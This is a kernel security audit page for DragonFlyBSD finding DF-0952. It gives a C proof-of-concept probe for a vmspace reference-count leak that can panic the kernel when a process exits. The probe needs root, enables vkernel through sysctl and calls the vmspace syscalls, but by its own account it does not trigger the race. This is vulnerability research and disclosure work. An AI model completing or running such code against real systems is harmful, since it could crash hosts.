DragonFlyBSD Kernel Audit
DF-0952 / vmspace_refs_leak.c
← back to finding ↓ download raw
/*
 * DF-0952 — sys_vmspace_destroy ve->refs leak on EBUSY (vm_vmspace.c:222-231).
 *
 * The bug (vm_vmspace.c:222-231):
 *
 *   lwkt_gettoken(&vkp->token);                            // excl held
 *   if ((ve = vkernel_find_vmspace(vkp, uap->id, 1)) != NULL) {  // refs +1
 *       error = vmspace_entry_delete(ve, vkp, 1);
 *       if (error == 0)
 *           vmspace_entry_cache_drop(ve);                  // only on success
 *   }
 *   lwkt_reltoken(&vkp->token);
 *
 * vmspace_entry_delete (vm_vmspace.c:639):
 *
 *   if (atomic_cmpset_int(&ve->refs, refs, VKE_REF_DELETED) == 0) {
 *       KKASSERT(ve->refs >= refs);
 *       return EBUSY;                                       // <-- +1 leaked
 *   }
 *
 * On EBUSY the +1 ref added by vkernel_find_vmspace is never dropped.
 * Each failed destroy permanently inflates ve->refs by 1, making the
 * vmspace undeletable. At proc exit, rb_vmspace_delete calls
 * vmspace_entry_delete(ve, vkp, 0) which expects refs==0 and panics:
 *
 *   if (vmspace_entry_delete(ve, vkp, 0) == 0)
 *       vmspace_entry_cache_drop(ve);
 *   else
 *       panic("rb_vmspace_delete: invalid refs %d", ve->refs);
 *
 * EBUSY is reachable when sys_vmspace_ctl(RUN) holds an extra ref
 * (vm_vmspace.c:309). Triggering the bug end-to-end requires the
 * vkernel RUN path with valid trapframe/vextframe — heavy setup
 * (map user code into the foreign vmspace, etc).
 *
 * This PoC does the simplest meaningful thing: enable vkernel,
 * create a vmspace, attempt destroy under contention to inflate refs,
 * then exit to trigger the panic at proc exit.
 *
 * Note: sys_vmspace_destroy holds vkp->token (excl) so concurrent
 * destroys serialize. The actual EBUSY requires another thread/LWP
 * holding an active ref via sys_vmspace_ctl(RUN). For an end-to-end
 * panic PoC we'd need a working vkernel RUN, which is heavy. Here
 * we at least exercise the API surface to confirm reachability and
 * document why the race is non-trivial to trigger.
 */

#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

/* DragonFly vmspace syscalls (sys/kern/syscalls.master) */
#define SYS_vmspace_create   486
#define SYS_vmspace_destroy  487
#define SYS_vmspace_ctl      488
#define SYS_vmspace_mmap     489

#define VMSPACE_CTL_RUN      1

struct vmspace_create_args {
    void *id;
    int type;
    void *data;
};

struct vmspace_ctl_args {
    void *id;
    int cmd;
    void *tframe;
    void *vframe;
};

int main(void) {
    if (getuid() != 0) {
        fprintf(stderr, "[!] DF-0952 must run as root to set vm.vkernel_enable=1\n");
        return 2;
    }
    printf("[*] DF-0952 ve->refs leak probe\n");

    /* Enable vkernel (root-set sysctl). This is the documented
     * precondition - any admin running a vkernel has it set. */
    int r = system("sysctl -w vm.vkernel_enable=1");
    if (r != 0) {
        fprintf(stderr, "[!] failed to enable vm.vkernel_enable\n");
        return 2;
    }

    void *id = (void *)0x1234;
    int type = 0;
    void *data = NULL;

    /* DragonFly syscall ABI passes args directly (not pointer-to-struct);
       the kernel marshalls them into a vmspace_create_args * */
    r = syscall(SYS_vmspace_create, id, type, data);
    if (r < 0) {
        perror("[!] vmspace_create");
        printf("[*] vmspace_create failed - vkernel API unreachable on this kernel?\n");
        return 1;
    }
    printf("[+] vmspace_create(id=%p) = %d\n", id, r);

    /* Successful destroy path - should work, ve->refs == 0 */
    r = syscall(SYS_vmspace_destroy, id);
    printf("[*] vmspace_destroy(id=%p) on fresh ve: rc=%d errno=%d\n",
           id, r, r ? errno : 0);

    if (r == 0) {
        printf("[+] destroy succeeded on uncontended ve (no EBUSY possible, no leak)\n");
        printf("[*] To trigger the cited panic: concurrent sys_vmspace_ctl(RUN) + destroy\n");
        printf("[*] requires real vkernel setup with valid trapframe in the foreign vmspace\n");
    }

    /* Recreate for the leak demo - call destroy twice; second should be ENOENT
     * if first succeeded. If first failed (EBUSY) we'd leak - but EBUSY needs
     * a concurrent RUN holder. Without that we cannot drive the leak from
     * userspace in a single-shooter PoC. */
    r = syscall(SYS_vmspace_create, id, type, data);
    printf("[*] recreate vmspace_create: rc=%d\n", r);
    r = syscall(SYS_vmspace_destroy, id);
    printf("[*] destroy: rc=%d errno=%d\n", r, r ? errno : 0);

    return 0;
}